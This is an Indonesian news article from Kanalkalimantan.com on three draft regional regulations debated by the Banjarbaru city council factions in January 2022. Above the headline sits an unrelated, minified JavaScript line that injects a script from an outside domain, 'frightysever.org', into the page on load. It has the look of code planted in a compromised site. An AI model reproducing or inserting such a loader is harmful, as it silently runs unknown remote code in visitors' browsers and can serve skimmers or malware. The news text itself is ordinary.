(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Begini Tanggapan Fraksi-Fraksi DPRD Banjarbaru Terkait Tiga Raperda

KANALKALIMANTAN.COM, BANJARBARU – Fraksi-fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan saran masukan terhadap tiga Rancangan Peraturan Daerah (Raperda) usulan Pemerintah Kota (Pemko) Banjarbaru.

Saran dan masukan disampaikan dalam pemandangan umum fraksi-fraksi atas tiga Raperda pada rapat paripurna DPRD Banjarbaru, Selasa (18/1/2022), dipimpin Ketua DPRD Fadliansyah dihadiri Wali Kota Banjarbaru Aditya dan Wawali Banjarbaru Wartono.

Tiga Raperda yang diusulkan dan segera dibahas yakni Raperda tentang pengelolaan keuangan daerah, Raperda perubahan atas Perda Nomor 4 tahun 2013 tentang bangunan gedung, dan Raperda retribusi persampahan.

Fraksi Partai Persatuan Pembangunan (F-PPP) meminta Pemko Banjarbaru sangat perlu memiliki kesiapan sarana dan prasarana pelayanan pengelolaan persampahan, sehingga bisa melayani pengangkutan sampah dengan baik.

Sementara itu, saran dari Fraksi Partai Kebangkitan Bangsa (F-PKB), Pemko jangan hanya sekadar berupaya meningkatkan PAD melalui retribusi, tetapi mengingatkan pelayanan menyesuaikan dinamika dan tak membebani masyarakat.

Di lain pihak, Fraksi Golkar mengusulkan penentuan tarif retribusi tetap berpedoman kondisi ekonomi masyarakat kurang mampu berdasar azas keadilan, sehingga masyarakat tidak keberatan atas Perda itu.

Ketua DPRD Banjarbaru Fadliansyah Akbar mengatakan, tiga buah Raperda usulan Pemko Banjarbaru akan berlanjut ke tahap pembahasan di tingkat panitia khusus bersama tim Raperda dari Pemko Banjarbaru.

“Target kami, dua setengah bulan atau paling lambat tiga bulan sudah selesai dan disepakati bersama menjadi Perda. Sehingga bisa diberlakukan sesuai maksud dan tujuan penerapan aturan daerah itu,” tandasnya. (Kanalkalimantan.com/ibnu)